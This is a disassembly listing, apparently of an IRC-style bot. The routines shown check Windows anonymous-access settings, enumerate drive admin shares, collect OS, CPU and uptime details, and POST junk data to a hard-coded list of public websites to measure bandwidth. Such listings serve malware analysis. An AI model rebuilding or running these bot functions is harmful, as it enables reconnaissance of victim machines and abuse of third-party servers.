		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D9C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D64

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439D28
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B40

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_439A08
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439D08
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CE0

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A18
		jb	short loc_41A321
		nop
		call	near ptr 2840C98h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB004
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439D08
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CE0

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439CB0
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433854 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E50
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26808E8h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB270
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C05ECh
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2670000h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D158
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26C05ECh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_4312B4

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_4312B0
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_4312AC
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_4312A8
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_4312A4
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_4312A0
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431298

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43786C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2660AB7h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A144
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2720000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2850000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
